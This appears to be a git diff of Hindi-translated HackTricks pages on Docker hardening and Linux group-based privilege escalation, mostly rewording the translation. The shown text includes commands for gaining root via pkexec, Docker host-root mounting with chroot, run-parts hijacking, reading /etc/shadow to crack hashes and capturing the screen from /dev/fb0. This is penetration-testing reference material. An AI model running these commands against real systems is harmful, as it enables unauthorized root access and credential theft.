@ -129,7 +129,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
### Namespaces
**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग-अलग संसाधनों के लिए होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं।
**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग संसाधनों के लिए होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं।
डॉकर कंटेनर अलगाव प्राप्त करने के लिए निम्नलिखित लिनक्स कर्नेल namespaces का उपयोग करता है:
@ -139,7 +139,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
- ipc namespace
- UTS namespace
**Namespaces के बारे में अधिक जानकारी** के लिए निम्नलिखित पृष्ठ देखें:
**Namespaces के बारे में अधिक जानकारी के लिए** निम्नलिखित पृष्ठ देखें:
{{#ref}}
namespaces/
@ -166,7 +166,7 @@ cgroups.md
### क्षमताएँ
क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक नियंत्रण** की अनुमति देती हैं। Docker Linux कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले कार्यों को सीमित किया जा सके** चाहे उपयोगकर्ता का प्रकार कोई भी हो।
क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक बारीक नियंत्रण** की अनुमति देती हैं। डॉकर लिनक्स कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले संचालन को सीमित किया जा सके**, चाहे उपयोगकर्ता का प्रकार कोई भी हो।
जब एक डॉकर कंटेनर चलाया जाता है, तो **प्रक्रिया संवेदनशील क्षमताओं को छोड़ देती है जिनका उपयोग प्रक्रिया अलगाव से बचने के लिए कर सकती है**। यह सुनिश्चित करने का प्रयास करता है कि प्रक्रिया संवेदनशील क्रियाएँ करने और बचने में सक्षम न हो:
@ -174,15 +174,15 @@ cgroups.md
../linux-capabilities.md
{{#endref}}
### Docker में Seccomp
### डॉकर में Seccomp
यह एक सुरक्षा विशेषता है जो Docker को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है:
यह एक सुरक्षा विशेषता है जो डॉकर को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है:
{{#ref}}
seccomp.md
{{#endref}}
### Docker में AppArmor
### डॉकर में AppArmor
**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के **एक सीमित** सेट में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है।:
@ -190,15 +190,15 @@ seccomp.md
apparmor.md
{{#endref}}
### Docker में SELinux
### डॉकर में SELinux
- **लेबलिंग सिस्टम**: SELinux प्रत्येक प्रक्रिया और फ़ाइल प्रणाली वस्तु को एक अद्वितीय लेबल असाइन करता है।
- **लेबलिंग सिस्टम**: SELinux हर प्रक्रिया और फ़ाइल सिस्टम ऑब्जेक्ट को एक अद्वितीय लेबल असाइन करता है।
- **नीति प्रवर्तन**: यह सुरक्षा नीतियों को लागू करता है जो परिभाषित करती हैं कि एक प्रक्रिया लेबल अन्य लेबल पर क्या क्रियाएँ कर सकती है।
- **कंटेनर प्रक्रिया लेबल**: जब कंटेनर इंजन कंटेनर प्रक्रियाएँ आरंभ करते हैं, तो उन्हें आमतौर पर एक सीमित SELinux लेबल, सामान्यतः `container_t` असाइन किया जाता है।
- **कंटेनरों के भीतर फ़ाइल लेबलिंग**: कंटेनर के भीतर फ़ाइलें आमतौर पर `container_file_t` के रूप में लेबल की जाती हैं।
- **नीति नियम**: SELinux नीति मुख्य रूप से यह सुनिश्चित करती है कि `container_t` लेबल वाली प्रक्रियाएँ केवल `container_file_t` के रूप में लेबल की गई फ़ाइलों के साथ इंटरैक्ट कर सकती हैं (पढ़ना, लिखना, निष्पादित करना)।
यह तंत्र सुनिश्चित करता है कि यदि एक कंटेनर के भीतर एक प्रक्रिया से समझौता किया जाता है, तो यह केवल उन वस्तुओं के साथ इंटरैक्ट करने के लिए सीमित हती है जिनके पास संबंधित लेबल होते हैं, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सकता है
यह तंत्र सुनिश्चित करता है कि यदि कंटेनर के भीतर कोई प्रक्रिया समझौता कर ली जाती है, तो यह केवल संबंधित लेबल वाले ऑब्जेक्ट्स के साथ इंटरैक्ट करने क सीमित हती है, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सक
{{#ref}}
../selinux.md
@ -206,12 +206,12 @@ apparmor.md
### AuthZ & AuthN
Docker में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि Docker डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है:
डॉकर में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि डॉकर डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है:
- **प्रमाणीकरण संदर्भ**: इसमें उपयोगकर्ता के बारे में व्यापक जानकारी शामिल होती है, जैसे कि वे कौन हैं और उन्होंने स्वयं को कैसे प्रमाणित किया है।
- **कमांड संदर्भ**: इसमें किए जा रहे अनुरोध से संबंधित सभी प्रासंगिक डेटा शामिल होता है।
ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे Docker संचालन की सुरक्षा बढ़ती है।
ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे डॉकर संचालन की सुरक्षा बढ़ती है।
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -247,9 +247,9 @@ docker-privileged.md
#### no-new-privileges
यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल होता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है।
यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल हो जाता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है।
**`no-new-privileges`** विकल्प सक्षम करके कंटेनर चलाने से **इस प्रकार के विशेषाधिकार वृद्धि को रोका जा सकेगा**
**`no-new-privileges`** विकल्प के साथ कंटेनर चलाने से **इस प्रकार के विशेषाधिकार वृद्धि को रोका जा सकेगा**
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -284,9 +284,9 @@ BuildKit का लाभ उठाने के लिए, इसे तीन
1. एक पर्यावरण चर के माध्यम से: `export DOCKER_BUILDKIT=1`
2. कमांड को पूर्ववर्ती करके: `DOCKER_BUILDKIT=1 docker build .`
3. Docker कॉन्फ़िगरेशन में डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें।
3. Docker कॉन्फ़िगरेशन में इसे डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें।
BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कमांड का उपयोग करके:
BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कि:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -305,40 +305,44 @@ file: ./my_secret_file.txt
```
यह कॉन्फ़िगरेशन Docker Compose के साथ सेवाओं को शुरू करते समय रहस्यों के उपयोग की अनुमति देता है।
Kubernetes वातावरण में, रहस्य स्वाभाविक रूप से समर्थित होते हैं और [Helm-Secrets](https://github.com/futuresimple/helm-secrets) जैसे उपकरणों के साथ आगे प्रबंधित किए जा सकते हैं। Kubernetes का भूमिका आधारित पहुँच नियंत्रण (RBAC) रहस्य प्रबंधन सुरक्षा को बढ़ाता है, जो Docker Enterprise के समान है।
Kubernetes वातावरण में, रहस्यों का स्वदेशी समर्थन होता है और इन्हें [Helm-Secrets](https://github.com/futuresimple/helm-secrets) जैसे उपकरणों के साथ और प्रबंधित किया जा सकता है। Kubernetes का भूमिका आधारित पहुँच नियंत्रण (RBAC) रहस्य प्रबंधन सुरक्षा को बढ़ाता है, जो Docker Enterprise के समान है।
### gVisor
**gVisor** एक एप्लिकेशन कर्नेल है, जो Go में लिखा गया है, जो Linux सिस्टम सतह का एक महत्वपूर्ण हिस्सा लागू करता है। इसमें एक [Open Container Initiative (OCI)](https://www.opencontainers.org) रनटाइम शामिल है जिसे `runsc` कहा जाता है, जो **एप्लिकेशन और होस्ट कर्नेल के बीच एक अलगाव सीमा प्रदान करता है**`runsc` रनटाइम Docker और Kubernetes के साथ एकीकृत होता है, जिससे सैंडबॉक्स किए गए कंटेनरों को चलाना सरल हो जाता है।
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** एक ओपन सोर्स समुदाय है जो हल्के वर्चुअल मशीनों के साथ एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जो कंटेनरों की तरह महसूस और प्रदर्शन करते हैं, लेकिन **हार्डवेयर वर्चुअलाइजेशन** तकनीक का उपयोग करके **मजबूत कार्यभार अलगाव** प्रदान करते हैं, जो एक दूसरी परत के रूप में रक्षा के लिए है
**Kata Containers** एक ओपन सोर्स समुदाय है जो हल्के वर्चुअल मशीनों के साथ एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जो कंटेनरों की तरह महसूस और प्रदर्शन करते हैं, लेकिन **हार्डवेयर वर्चुअलाइजेशन** तकनीक का उपयोग करके **मजबूत कार्यभार अलगाव** प्रदान करते हैं।
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### सारांश टिप्स
- **`--privileged` ध्वज का उपयोग न करें या कंटेनर के अंदर** [**Docker सॉकेट को माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर।
- **कंटेनर के अंदर रूट के रूप में न चलाए। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है।
- **`--privileged` ध्वज का उपयोग न करें या** [**Docker सॉकेट को कंटेनर के अंदर माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर।
- **कंटेनर के अंदर रूट के रूप में न चलाए। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है।
- [**सभी क्षमताएँ हटा दें**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) और केवल आवश्यक क्षमताएँ सक्षम करें** (`--cap-add=...`)। कई कार्यभार को किसी भी क्षमताओं की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले के दायरे में वृद्धि होती है।
- [**“no-new-privileges” सुरक्षा विकल्प का उपयोग करें**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएँ अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए, suid बाइनरी के माध्यम से।
- [**कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**।** संसाधन सीमाएँ मशीन को सेवा से इनकार करने वाले हमलों से बचा सकती हैं।
- **seccomp** [**को समायोजित करें**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(या SELinux)** प्रोफाइल को कार्यों और सिस्टम कॉल को न्यूनतम आवश्यक तक सीमित करने के लिए।
- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) या उनके आधार पर अपनी खुद की बनाएं। [बैकडोर](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) छवियों को विरासत में न लें या उपयोग न करें। रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी संग्रहीत करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं।
- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) **या उनके आधार पर अपनी खुद की बनाएं। बैकडोर वाली छवियों का उपयोग न करें।** [**https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) **।** रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी स्टोर करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं।
- **नियमित रूप से** **अपनी छवियों को फिर से बनाएं ताकि** **होस्ट और छवियों पर सुरक्षा पैच लागू हो सकें।**
- अपने **रहस्यों का बुद्धिमानी से प्रबंधन करें** ताकि हमलावर के लिए उन्हें एक्सेस करना कठिन हो।
- यदि आप **Docker डेमन को HTTPS के साथ उजागर करते हैं** तो क्लाइंट और सर्वर प्रमाणीकरण का उपयोग करें।
- अपने Dockerfile में, **ADD के बजाय COPY को प्राथमिकता दें**। ADD स्वचालित रूप से ज़िप फ़ाइलों को निकालता है और URLs से फ़ाइलें कॉपी कर सकता है। COPY में ये क्षमताएँ नहीं होती हैं। जब भी संभव हो, ADD का उपयोग करने से बचें ताकि आप दूरस्थ URLs और ज़िप फ़ाइलों के माध्यम से हमलों के प्रति संवेदनशील न हों।
- प्रत्येक माइक्रो-सेवा के लिए **अलग कंटेनर रखें**
- प्रत्येक माइक्रो-सेवा के लिए **अलग कंटेनर रखें**
- **कंटेनर के अंदर ssh न रखें**, "docker exec" का उपयोग कंटेनर में ssh करने के लिए किया जा सकता है।
- **छोटे** कंटेनर **छवियाँ रखें**
- **छोटे** कंटेनर **छवियाँ रखें**
## Docker ब्रेकआउट / विशेषाधिकार वृद्धि
यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं:
यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है**, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं:
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Docker प्रमाणीकरण प्लगइन बाईपास
यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:**
यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है**, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -354,8 +358,8 @@ authz-and-authn-docker-access-authorization-plugin.md
## Docker को मजबूत करना
- उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं के लिए दर्जनों की जांच करता है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\
आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि **README में इसे कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)।
- उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं की दर्जनों जांच करता है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\
आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि **इसे README में कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)।
## संदर्भ

View File

@ -37,13 +37,13 @@ cat /etc/polkit-1/localauthority.conf.d/*
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
यदि आप **pkexec** निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है:
यदि आप **pkexec** को निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग-अलग ssh सत्र** की आवश्यकता है:
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -68,17 +68,17 @@ sudo su
```
## Shadow Group
**shadow** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
ो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक** करने की कोशिश करें।
ो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक** करने की कोशिश करें।
## स्टाफ समूह
**staff**: उपयोगकर्ताओं को सिस्टम में स्थानीय संशोधन जोड़ने की अनुमति देता है (`/usr/local`) बिना रूट विशेषाधिकार की आवश्यकता के (ध्यान दें कि `/usr/local/bin` में निष्पादन योग्य किसी भी उपयोगकर्ता के PATH वेरिएबल में होते हैं, और वे समान नाम के `/bin` और `/usr/bin` में निष्पादन योग्य को "ओवरराइड" कर सकत हैं)। "adm" समूह की तुलना करें, जो निगरानी/सुरक्षा से अधिक संबंधित है। [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: उपयोगकर्ताओं को सिस्टम में स्थानीय संशोधन जोड़ने की अनुमति देता है (`/usr/local`) बिना रूट विशेषाधिकार की आवश्यकता के (ध्यान दें कि `/usr/local/bin` में निष्पादन योग्य फ़ाइलें किसी भी उपयोगकर्ता के PATH वेरिएबल में हैं, और वे समान नाम वाली `/bin` और `/usr/bin` में निष्पादन योग्य फ़ाइलों को "ओवरराइड" कर सकत हैं)। "adm" समूह की तुलना करें, जो निगरानी/सुरक्षा से अधिक संबंधित है। [\[source\]](https://wiki.debian.org/SystemGroups)
डेबियन वितरण में, `$PATH` वेरिएबल दिखाता है कि `/usr/local/` उच्चतम प्राथमिकता के रूप में चलाया जाएगा, चाहे आप विशेषाधिकार प्राप्त उपयोगकर्ता हों या नहीं।
डेबियन वितरणों में, `$PATH` वेरिएबल दिखाता है कि `/usr/local/` उच्चतम प्राथमिकता के रूप में चलाया जाएगा, चाहे आप विशेषाधिकार प्राप्त उपयोगकर्ता हों या नहीं।
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -88,7 +88,7 @@ $ echo $PATH
```
यदि हम `/usr/local` में कुछ प्रोग्रामों को हाईजैक कर सकते हैं, तो हम आसानी से रूट प्राप्त कर सकते हैं।
`run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब ssh लॉगिन होता है)।
`run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब ssh लॉगिन)।
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size
![](<../../../images/image (463).png>)
फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों के अनुसार संशोधित करें और विभिन्न छवि प्रकारों की जांच करें (और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है):
फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों में संशोधित करें और विभिन्न छवि प्रकारों की जांच करें (और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है):
![](<../../../images/image (317).png>)
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। इससे आपको मशीन पर रूट मिल जाता है।
आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है।
```bash
docker image #Get images from the docker service
@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
यदि आपके पास docker socket पर लिखने की अनुमति है तो [**इस पोस्ट को पढ़ें कि कैसे docker socket का दुरुपयोग करके विशेषाधिकार बढ़ाएं**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## lxc/lxd समूह

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Groups
## **PE - Method 1**
@ -21,11 +20,11 @@ sudo su
```
## PE - Method 2
सभी suid बाइनरीज़ खोजें और जांचें कि क्या बाइनरी **Pkexec** है:
सभी suid बाइनरी खोजें और जांचें कि क्या बाइनरी **Pkexec** है:
```bash
find / -perm -4000 2>/dev/null
```
यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin में हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें:
यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin के सदस्य हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या के लिए यह एक समाधान है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है:
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -66,11 +65,11 @@ sudo su
```
# Shadow Group
**शेडो समूह** के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
तो, फ़ाइल पढ़ें और कुछ **हैश क्रैक करने** की कोशिश करें।
तो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक करने** की कोशिश करें।
# डिस्क समूह
@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है।
**video group** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं।
**वीडियो समूह** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं।
```bash
cat /dev/fb0 > /tmp/screen.raw
